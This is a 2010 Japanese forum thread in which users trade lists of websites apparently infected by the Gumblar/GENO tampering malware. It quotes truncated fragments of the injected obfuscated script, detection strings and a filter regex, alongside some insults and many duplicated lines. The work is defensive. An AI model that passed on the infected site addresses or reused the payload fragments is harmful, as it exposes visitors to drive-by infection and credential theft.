【Gumblar/GENO】Web改竄ウイルス総合スレ9【8080】
118 ：名無しさん＠お腹いっぱい。：
www●belbird●com
www●my-standard●co●jp
wangnin●com
www●pasotasu●net←パソコントラブル解決？無理でしょ
www●mamapapa●net←pasotasuが作成しているサイト
www●my-standard●co●jp
wangnin●com
www●pasotasu●net←パソコントラブル解決？無理でしょ
www●mamapapa●net←pasotasuが作成しているサイト
|
|
|
119 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 19:23:26
例えば>>118
aguseでは、上から一つ目三つ目だけGumblarの疑いありの判断。
gredでは、すべてSAFEと判断。
こういったツールすらスルーするものをここで報告してる人はどうやって見つけてんの
感染してそうなサイトをしらみ潰しにソース見てるとか？
aguseでは、上から一つ目三つ目だけGumblarの疑いありの判断。
gredでは、すべてSAFEと判断。
こういったツールすらスルーするものをここで報告してる人はどうやって見つけてんの
感染してそうなサイトをしらみ潰しにソース見てるとか？
120 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 19:31:15
121 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 20:07:35
122 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 20:44:00
知る必要がないとか
123 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 20:45:02
124 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 21:42:01
>>118
一部の感染だけは認めるが後はでっち上げか
一部の感染だけは認めるが後はでっち上げか
125 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 21:45:04
Avastあたりで診断しているなら誤診か
126 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 21:47:03
誤診あげ
127 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 21:55:13
図星か
128 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 21:57:52
>>124
全部見たわけじゃないけど
例えばpasotasuは明らかに今日修正してる
他のページは2009年のほぼ同時刻にまとめて更新されてるのに特定ページだけ今日更新
しかも発見が遅れたTOPじゃないページは4時間後に修正
原因わかってないだろうから再改ざんされる可能性が高い
top Tue, 25 May 2010 08:16:10 GMT
repair.html Tue, 25 May 2010 12:50:38 GMT
hoshu.html Wed, 29 Jul 2009 01:32:40 GMT
order.html Wed, 29 Jul 2009 01:32:47 GMT
price.html Wed, 29 Jul 2009 01:32:47 GMT
profile.html Wed, 29 Jul 2009 01:32:48 GMT
全部見たわけじゃないけど
例えばpasotasuは明らかに今日修正してる
他のページは2009年のほぼ同時刻にまとめて更新されてるのに特定ページだけ今日更新
しかも発見が遅れたTOPじゃないページは4時間後に修正
原因わかってないだろうから再改ざんされる可能性が高い
top Tue, 25 May 2010 08:16:10 GMT
repair.html Tue, 25 May 2010 12:50:38 GMT
hoshu.html Wed, 29 Jul 2009 01:32:40 GMT
order.html Wed, 29 Jul 2009 01:32:47 GMT
price.html Wed, 29 Jul 2009 01:32:47 GMT
profile.html Wed, 29 Jul 2009 01:32:48 GMT
129 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 21:59:33
>>128
言い訳は見苦しいな
言い訳は見苦しいな
130 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:12:25
131 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:12:33
よくクソミソな精度で感染報告できたもんだ
132 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:21:44
あること無いことをでっち上げて、三流週刊誌並みの意識だな
133 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:23:12
134 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:27:54
嘘をつくならもっと上手い嘘にしろ
135 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:34:18
ローテクな検出機では、誤検出も止むを得ないか（笑）
136 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:34:52
>>128-129
感染ページを確認すたのでメルポするを。
感染ページを確認すたのでメルポするを。
137 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:38:55
>>136 ど～ん
でじろにも報告すた。
でじろにも報告すた。
138 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:40:18
勘違いの迷惑なメールほどうざいものはない
間違いを素直に認めればいいものを
間違いを素直に認めればいいものを
139 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:46:37
140 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:54:11
age
141 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 23:06:02
セキュリティ板の勢いトップのスレはこんなものか（笑）
呆れたぜ（笑笑笑）
呆れたぜ（笑笑笑）
142 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 23:07:34
勢いに流されるなんて、お馬鹿ですね
143 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 23:12:04
新たな板に移るか（笑笑笑）
144 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 23:22:00
モレもつれてって～(笑笑笑)
145 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 23:42:24
146 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 00:36:28
147 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 02:26:57
サンスポネット大人向けがとってもmondaybubbleなことに…
とりあえずメル凸しといた
とりあえずメル凸しといた
148 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 03:24:19
>>147
乙、鯖缶とサンスポとmsnにもフォームでつーほーすた。
乙、鯖缶とサンスポとmsnにもフォームでつーほーすた。
149 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 04:46:48
www.pasotasu.netさん
mamapapaはGoogleのキャッシュに残ってますよ
http://megalodon.jp/2010-0526-0434-07/web-sniffer.net/?url=http://webcache.googleusercontent.com/search?q=cache:jBiCW_fYPi0J:www.mamapapa.net/korean/
ちゃんと改竄告知したほうがプロっぽいですよ
mamapapaはGoogleのキャッシュに残ってますよ
http://megalodon.jp/2010-0526-0434-07/web-sniffer.net/?url=http://webcache.googleusercontent.com/search?q=cache:jBiCW_fYPi0J:www.mamapapa.net/korean/
ちゃんと改竄告知したほうがプロっぽいですよ
150 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 05:03:06
pasotasuも魚拓あるから
http://megalodon.jp/2010-0525-2213-39/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww%2Epasotasu%2Enet%2Fkouza%2Findex%2Ehtml
http://megalodon.jp/2010-0525-2213-39/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww%2Epasotasu%2Enet%2Fkouza%2Findex%2Ehtml
151 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 07:05:16
というか、噛み付いてたのは隠蔽しようと目論んだ社員だろｗ
152 ：↑↑、↑↑↑：2010/05/26(水) 08:03:10
うわっ気色悪い書き込み；知的障害者？
153 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 08:27:15
pasotasu()笑
154 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 08:32:23
ふぁびょんなよ双方
155 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 13:59:54
ぱそたすわかりやすすぎてかわいそうになる
156 ：コテハン ◆8080adndqg ：2010/05/26(水) 16:13:23
【陥落サイトのURL悪用厳禁】
www●biz-x●jp
www●wille2●com/
allety●net ←8080 ＋ str="<ijbwjuics src=" + unescape(
www●hawaiianwalker●com/
【本日の目玉商品（違）】
www●n2p●jp/
Web制作、Webデザイン、システム開発･･
www●biz-x●jp
www●wille2●com/
allety●net ←8080 ＋ str="<ijbwjuics src=" + unescape(
www●hawaiianwalker●com/
【本日の目玉商品（違）】
www●n2p●jp/
Web制作、Webデザイン、システム開発･･
157 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 16:18:21
dokuta●ehoh●net
158 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 16:21:39
> www●n2p●jp/
？？？
？？？
159 ：コテハン ◆8080adndqg ：2010/05/26(水) 16:25:12
ちょっと追記
www●n2p●jp/には、最下部の8080と･･･
<body id="n2p.jp" class="topBody">
<script type='text/javascript'>str="<ijbwjuics src=" + unescape(･･･
2系統が装填されておりますｗ
更に･･･
webcache●googleusercontent●com/search?q=cache:UROQ0WRKXtQJ:www●n2p●jp/
ijbwjuics src= → ない
8080 → 装填済
www●n2p●jp/には、最下部の8080と･･･
<body id="n2p.jp" class="topBody">
<script type='text/javascript'>str="<ijbwjuics src=" + unescape(･･･
2系統が装填されておりますｗ
更に･･･
webcache●googleusercontent●com/search?q=cache:UROQ0WRKXtQJ:www●n2p●jp/
ijbwjuics src= → ない
8080 → 装填済
160 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 16:30:43
aspstone-co●com/blog/
161 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 16:37:34
> 最下部の8080と
？？？
？？？
162 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 17:31:12
通販サイトが改ざんされて
それを放置したままというのがありえない
まさか管理者は改ざんされたことを知らずにサイトの更新だけしているのか？
それを放置したままというのがありえない
まさか管理者は改ざんされたことを知らずにサイトの更新だけしているのか？
163 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 17:52:14
164 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 18:07:44
具体的にどこよ
165 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 20:10:22
>>147
サンスポ本体もまずい？
サンスポ本体もまずい？
166 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 20:31:46
通常JavaScriptとかFlashは切ってるんだけど
Flashクッキーってみんなどうしてる？
一応、今は切ってるんだけど
必要な際いちいち入れるの面倒でちょっと迷ってたり……
Flashクッキーが悪用される例とかってどのくらいあるん？
Flashクッキーってみんなどうしてる？
一応、今は切ってるんだけど
必要な際いちいち入れるの面倒でちょっと迷ってたり……
Flashクッキーが悪用される例とかってどのくらいあるん？
167 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 20:34:27
アップーでとしてれば大丈夫だから
アホは考えるだけ無駄
アホは考えるだけ無駄
168 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 20:36:12
クッキーが何かすら分かってないんだな
169 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 21:05:18
>>168
そりゃおめーだろ
そりゃおめーだろ
170 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 21:36:00
AdobeReaderを使ってなくてJava Runtime Environmentを最新版に更新してれば
Web改竄ウイルスには感染しないの？
Web改竄ウイルスには感染しないの？
171 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 21:47:06
>>167
自分の脳みそもうｐだてしとけば？
自分の脳みそもうｐだてしとけば？
172 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 22:14:24
ふぁびょったか
173 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 22:20:13
JREの残骸が消えてくれない
174 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 22:23:00
ふぁっびょーん
175 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 22:24:06
IDでねー板は駄目だなｗ
そもそもネタスレなのかも知れねーけどｗ
そもそもネタスレなのかも知れねーけどｗ
176 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 22:25:49
JREの残骸ってJavaRaで消えるのでは？
177 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 22:42:28
178 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 22:43:55
179 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:13:31
180 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:25:35
みんなやっぱFlashクッキーも切ってるのか・・・？
181 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:28:54
んなわけねえだろアホらしい
182 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:33:06
クッキーってテキストだろ
Flashのは違うのか
Flashのは違うのか
183 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:34:00
HTTPリダイレクト全部弾いてるって奴もいたから何とも言えないな
人それぞれ
人それぞれ
184 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:36:41
ここレベル高けぇんだか低いんだか全く分からん……
185 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:48:56
玉石混淆
186 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:52:25
>>3
以上のことはおまじないレベルだから好きにしろ
以上のことはおまじないレベルだから好きにしろ
187 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:58:45
>>170
使ってないんじゃなくてアンインストールしないとだめ
使ってないんじゃなくてアンインストールしないとだめ
188 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 00:05:24
189 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 00:07:35
ちなみにFlashクッキーはGumblarに関係ない
190 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 00:21:14
スレチだがflash cookieについて
http://www.itmedia.co.jp/news/articles/0908/13/news017.html
http://www.itmedia.co.jp/news/articles/0908/13/news017.html
191 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 00:52:29
CCクリーナーではなくCｃleanerつまりCクリーナーである件について
192 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 01:46:35
>>190
ありがとう。こういうものの存在すら知らなかった…
ありがとう。こういうものの存在すら知らなかった…
193 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 02:17:22
>156 確かに目玉商品ｗ
194 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 08:02:52
195 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 09:05:17
結局ただのクッキーじゃねえか
いばりやがって
いばりやがって
196 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 10:06:42
197 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 10:17:21
gredじゃ反応せず
このスレ見てると頼ってる人が多いみたいだけど、、、
gredは反応示すことがほとんどない
どっちが正しいのかは知らんけど
このスレ見てると頼ってる人が多いみたいだけど、、、
gredは反応示すことがほとんどない
どっちが正しいのかは知らんけど
198 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 10:44:34
両方試して、片方だけでも疑いが出たら危険と思う
Danさんのでソース詳しく見てみればいいよ
Danさんのでソース詳しく見てみればいいよ
199 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 13:31:54
200 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 13:58:06
ばらの花には棘がある
www●barakai●com
www●barakai●com
201 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 14:28:15
202 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 14:30:03
203 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 16:41:39
>>201
PC初心者にはGENO系Gumbler系のスレが無いからねぇ
ここに縋るしかない
まぁだからってここに書いてあるURLじゃないから大丈夫とは絶対限らないんだけど
>>3>>4こなせば現状では万が一感染ページ踏んでも大丈夫だから怖がりすぎる必要は無い……筈
PC初心者にはGENO系Gumbler系のスレが無いからねぇ
ここに縋るしかない
まぁだからってここに書いてあるURLじゃないから大丈夫とは絶対限らないんだけど
>>3>>4こなせば現状では万が一感染ページ踏んでも大丈夫だから怖がりすぎる必要は無い……筈
204 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 18:17:26
www●asu-job●com
pc-telcom●com
※population-japan●com関連
pc-telcom●com
※population-japan●com関連
205 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 18:17:57
206 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 18:33:05
thinkpadのIE8でネットを閲覧していたら
ウィルスバスター2010が反応してmal gumblarを
①検出、駆除できず
②隔離できずと表示されました
こんなこと初めてです。どうすればいいのでしょう？
ウィルスバスター2010が反応してmal gumblarを
①検出、駆除できず
②隔離できずと表示されました
こんなこと初めてです。どうすればいいのでしょう？
207 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 18:35:54
URLは?
OSは
プラグインは?
ActiveXやJavaScript等の設定は?
OSは
プラグインは?
ActiveXやJavaScript等の設定は?
208 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 19:22:48
209 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 19:41:49
210 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 21:18:20
<script>var JFZSz = document;function kGccA(pFpvv){ var ～
結果: 4/41 (9.76%)
width、height、length、style…樹を隠すには森の中ですか
>>200
>>205
「ご連絡いただきましたサイトにつきましては、弊社でも確認し
不正なスクリプトを確認させて頂きましたので、取り急ぎ
サービスの停止を行わせていただきました。」
との事
結果: 4/41 (9.76%)
width、height、length、style…樹を隠すには森の中ですか
>>200
>>205
「ご連絡いただきましたサイトにつきましては、弊社でも確認し
不正なスクリプトを確認させて頂きましたので、取り急ぎ
サービスの停止を行わせていただきました。」
との事
211 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 21:32:27
自分のWEBサイトへの攻撃ログ確認してたら
設置してないWordPressやらAWstatsを探そうとクロールしてるホストがあった
80番ポートが空いてたので、Dan's View Sourceで確認したら案の定「.ru:8080」があった
こういうのってボットネットワークのゾンビなのかねぇ？
設置してないWordPressやらAWstatsを探そうとクロールしてるホストがあった
80番ポートが空いてたので、Dan's View Sourceで確認したら案の定「.ru:8080」があった
こういうのってボットネットワークのゾンビなのかねぇ？
212 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 21:34:06
213 ：あんちたった ◆MOTO.0SDfQ ：2010/05/27(木) 22:21:38
>>212
何を止めたんだろうねｗｗｗサーバ止めないと駄目なのにねｗｗｗ
何を止めたんだろうねｗｗｗサーバ止めないと駄目なのにねｗｗｗ
214 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 22:49:28
215 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 22:50:15
216 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 22:50:59
あ、aguseなら今ちょっと壊れてるぞ
aguse側のDNS更新されてなさそう
aguse側のDNS更新されてなさそう
217 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 22:52:59
…とおもったら、wwwのサブドメインつけると止まってねえw
糞レスしてふたりともごめん
糞レスしてふたりともごめん
218 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 22:53:05
>３>４以上の
スクリプト全切とかをおまじない程度っていってんだよ
スクリプト全切とかをおまじない程度っていってんだよ
219 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 22:54:47
220 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 22:56:49
221 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 23:06:38
通用するのは今だけだと思うけどProxomitronで
scriptタグ後にハッシュ値がきたら警告するようにしてます
$NEST(<script,\1</script>)\s<!--[0-9a-f]+{32}--> にマッチで置換
scriptタグ後にハッシュ値がきたら警告するようにしてます
$NEST(<script,\1</script>)\s<!--[0-9a-f]+{32}--> にマッチで置換
222 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 01:55:03
ttp://www.tanteifile.com/newswatch/2010/05/27_01/image/03.jpg
ttp://www.tanteifile.com/newswatch/2010/05/27_01/image/04.jpg
ttp://www.tanteifile.com/newswatch/2010/05/27_01/image/04.jpg
223 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 07:40:26
このスレでときどき
忘れていた意外な情報を得る
忘れていた意外な情報を得る
224 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 10:26:57
取扱注意
www●adwalk●co●jp
そういえば、とある議員のホームページも改ざんされてたな
www●adwalk●co●jp
そういえば、とある議員のホームページも改ざんされてたな
225 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 12:23:43
にゃ
http://www.hds-x●com/
http://www.hds-x●com/
226 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 12:37:09
http://www◎jyoho-review◎jp/item_list/
http://canyonhardware◎com/
http://otokudou◎h01◎jp/
http://www◎borneomarathon◎com/jpn/home◎html
http://www◎jyoho-review◎jp/item_list/
http://www◎spalodge◎co◎nz/
http://www◎ryu1◎co◎jp/
http://minatomo◎jp/
http://sartur◎com/
http://lavishad◎com/
http://hampson-scott◎com/
http://www◎ondeugendstel◎com/web/media2/index◎php?option=com_rss&feed=RSS2◎0&no_html=1
さて、エンジェルビーツ始まるまで寝るか…。重複チェックしてないお(｀・ω・´)
http://canyonhardware◎com/
http://otokudou◎h01◎jp/
http://www◎borneomarathon◎com/jpn/home◎html
http://www◎jyoho-review◎jp/item_list/
http://www◎spalodge◎co◎nz/
http://www◎ryu1◎co◎jp/
http://minatomo◎jp/
http://sartur◎com/
http://lavishad◎com/
http://hampson-scott◎com/
http://www◎ondeugendstel◎com/web/media2/index◎php?option=com_rss&feed=RSS2◎0&no_html=1
さて、エンジェルビーツ始まるまで寝るか…。重複チェックしてないお(｀・ω・´)
227 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 12:46:52
228 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 13:41:59
さてと、どんなサイトがGumblarに？
チェックしてゼロデイの傾向と対策を、、、
ってもう、まんべんなくだなｗ
チェックしてゼロデイの傾向と対策を、、、
ってもう、まんべんなくだなｗ
229 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 14:00:49
230 ：コテハン ◆8080adndqg ：2010/05/28(金) 14:47:51
【陥落サイトのURL悪用厳禁】
www●biz-x●jp
www●i-keiei●jp/
www●w-ouen●com/league/index●html ←早稲田大学応援部
cowgirl●jp/
↓
<script type='text/javascript'>str="<ijbwjuics src=･･･
<script>try {var Qv='QN'} catch(Qv){};var･･･
<!--改竄されたので絶賛放置中！-->
※アクセス注意！※
www●aquaview●jp
↓
www●aquaview●jp/m_shop/index●html
↓
webcache●googleusercontent●com/search?q=cache:9SfGiGAU864J:www●geocities●jp/kic_aquaview/order●html
※消滅してたので、キャッシュから･･
www●biz-x●jp
www●i-keiei●jp/
www●w-ouen●com/league/index●html ←早稲田大学応援部
cowgirl●jp/
↓
<script type='text/javascript'>str="<ijbwjuics src=･･･
<script>try {var Qv='QN'} catch(Qv){};var･･･
<!--改竄されたので絶賛放置中！-->
※アクセス注意！※
www●aquaview●jp
↓
www●aquaview●jp/m_shop/index●html
↓
webcache●googleusercontent●com/search?q=cache:9SfGiGAU864J:www●geocities●jp/kic_aquaview/order●html
※消滅してたので、キャッシュから･･
231 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 15:19:23
>>230
よいところにいらっしゃった
＞<script type='text/javascript'>str="<ijbwjuics src=･･･
これ、どうやって拾ったらいい？
色々試してるんだけどどうにもうまくいかない
よいところにいらっしゃった
＞<script type='text/javascript'>str="<ijbwjuics src=･･･
これ、どうやって拾ったらいい？
色々試してるんだけどどうにもうまくいかない
232 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 16:15:27
取扱注意
www●garden-bank●com
www●garden-bank●com
233 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 16:34:21
www●i-keiei●jp
www●w-ouen●com/league
cowgirl●jp
www●garden-bank●com
メル凸済み、反応待ち
www●w-ouen●com/league
cowgirl●jp
www●garden-bank●com
メル凸済み、反応待ち
234 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 17:44:54
235 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 17:51:05
>>225のサイト、ブログ経由で凸した
236 ：コテハン ◆8080adndqg ：2010/05/28(金) 18:00:29
>>231
"vxoq3" "xaoz3" ←センセイ向け
"ijbwjuics" "str.replace(" ←禿向け
現時点ではほとんど釣れないみたい･･･
8080系の陥落サイトに寄生してるから、ソースを見る時
<body>の後側も見ておくと良いかも
"vxoq3" "xaoz3" ←センセイ向け
"ijbwjuics" "str.replace(" ←禿向け
現時点ではほとんど釣れないみたい･･･
8080系の陥落サイトに寄生してるから、ソースを見る時
<body>の後側も見ておくと良いかも
237 ：226 ◆4SB9WSR5xY ：2010/05/28(金) 18:02:14
238 ：コテハン ◆8080adndqg ：2010/05/28(金) 18:08:21
239 ： ◆4SB9WSR5xY ：2010/05/28(金) 18:14:25
http://abs◎bij◎pl/
http://18tubeporn◎com/
http://extratube◎cn/
http://aimauto◎org/
http://laschuwi◎com/
http://kopolinos◎com/
http://mature-lessons-porn◎com/
http://ayume◎eu/
http://flowertask◎co◎jp/
http://wovens◎info/
http://mb3z◎jp/
http://lets-you◎jp/
http://hohoemi-link◎lovepop◎jp/
http://18tubeporn◎com/
http://extratube◎cn/
http://aimauto◎org/
http://laschuwi◎com/
http://kopolinos◎com/
http://mature-lessons-porn◎com/
http://ayume◎eu/
http://flowertask◎co◎jp/
http://wovens◎info/
http://mb3z◎jp/
http://lets-you◎jp/
http://hohoemi-link◎lovepop◎jp/
240 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 18:29:39
241 ： ◆4SB9WSR5xY ：2010/05/28(金) 18:32:57
http://hyper◎heavy◎jp/
http://saicho◎co◎jp/
http://mag◎rdy◎jp/
http://jamur◎jp/
http://truth-co◎jp/
http://yamana◎sakura◎ne◎jp/
http://minatomo◎jp/
http://s1◎shard◎jp/syozyonudo/
http://makino-fudousan◎co◎jp/
http://kimihiro◎sakura◎ne◎jp/
http://situgyou◎bufsiz◎jp/
http://babylovers◎jp/
新しい方法試してみたけど、誤爆率高いorz
とりあえず.jpだけ。
http://saicho◎co◎jp/
http://mag◎rdy◎jp/
http://jamur◎jp/
http://truth-co◎jp/
http://yamana◎sakura◎ne◎jp/
http://minatomo◎jp/
http://s1◎shard◎jp/syozyonudo/
http://makino-fudousan◎co◎jp/
http://kimihiro◎sakura◎ne◎jp/
http://situgyou◎bufsiz◎jp/
http://babylovers◎jp/
新しい方法試してみたけど、誤爆率高いorz
とりあえず.jpだけ。
242 ： ◆4SB9WSR5xY ：2010/05/28(金) 18:38:10
243 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 18:39:30
テンプレ見てまともに出来ないなら余計なモン貼るなゴミがっつってんだよ
244 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 18:56:08
245 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 22:25:37
246 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 22:32:41
247 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 22:34:11
まだaguseは元に戻ってない？
248 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 22:41:57
>>7を踏んでしまったのですが大丈夫でしょうか？
249 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 22:44:57
>>246
マルチはやめようね
マルチはやめようね
>>7を踏んだのはつい先ほどなのですでに7のサイトは復旧されてるとは思うのですが
251 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 00:10:13
>>248,250
ここは鑑定スレじゃないから
↓こっちで聞け↓
勇気がなくて踏めないURL鑑定スレin初質 Part41
http://gimpo.2ch.net/test/read.cgi/qa/1274878983/
ここは鑑定スレじゃないから
↓こっちで聞け↓
勇気がなくて踏めないURL鑑定スレin初質 Part41
http://gimpo.2ch.net/test/read.cgi/qa/1274878983/
252 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 00:36:59
253 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 00:41:40
254 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 00:49:51
256 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 00:55:26
>>253,254
ありがとうございます
【OS】XP pro SP3
【ブラウザ】Internet Explorer 8(タブブラウザのDonut RAPTっての使ってます)
【Microsoft Updateの更新の状態】最新でした
【セキュリティソフトと年式】ノートンインターネットセキュリティ 2009
【回線の種類・ルータの有無】光回線でルータ使用中
【Adobe ReaderのVer】最新でした
Donut RAPT使ってる時はノートンの保護機能？は働かないみたいです
今は自宅のPCからでこれぐらいしか覚えてなくて申し訳ないです
ありがとうございます
【OS】XP pro SP3
【ブラウザ】Internet Explorer 8(タブブラウザのDonut RAPTっての使ってます)
【Microsoft Updateの更新の状態】最新でした
【セキュリティソフトと年式】ノートンインターネットセキュリティ 2009
【回線の種類・ルータの有無】光回線でルータ使用中
【Adobe ReaderのVer】最新でした
Donut RAPT使ってる時はノートンの保護機能？は働かないみたいです
今は自宅のPCからでこれぐらいしか覚えてなくて申し訳ないです
257 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 00:56:41
258 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 00:57:04
259 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 01:06:44
最近のはVista・7のUAC・保護モードも素通りするのかね
261 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 01:15:55
264 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 01:24:43
>>262
ノートンなら以下のクラウド型と併用可だからしてみては？
【併用可】gred AntiVirusアクセラレータ part2
http://pc11.2ch.net/test/read.cgi/sec/1268032521/
ノートンなら以下のクラウド型と併用可だからしてみては？
【併用可】gred AntiVirusアクセラレータ part2
http://pc11.2ch.net/test/read.cgi/sec/1268032521/
266 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 01:26:56
>>258
どっちみち感染したらFTP含めてWebサービスすべてのIDパスはとられる
自分だけでなくLAN内すべて
あとは偽セキュリティソフトのインストール、特定サイトへの攻撃、
BOT機能のインストールなどいろいろ
どっちみち感染したらFTP含めてWebサービスすべてのIDパスはとられる
自分だけでなくLAN内すべて
あとは偽セキュリティソフトのインストール、特定サイトへの攻撃、
BOT機能のインストールなどいろいろ
267 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 01:35:43
>>267
そろそろスレチだが、
>>ノートンインターネットセキュリティ 2009
もしまだライセンス残ってるなら、2010にタダでバージョンうpできるからやっとけ。
http://updatecenter.norton.com/?NUCLANG=ja
そろそろスレチだが、
>>ノートンインターネットセキュリティ 2009
もしまだライセンス残ってるなら、2010にタダでバージョンうpできるからやっとけ。
http://updatecenter.norton.com/?NUCLANG=ja
269 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 01:52:21
>>257
荒らしの仕業だろ
荒らしの仕業だろ
270 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 01:58:01
272 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 03:42:02
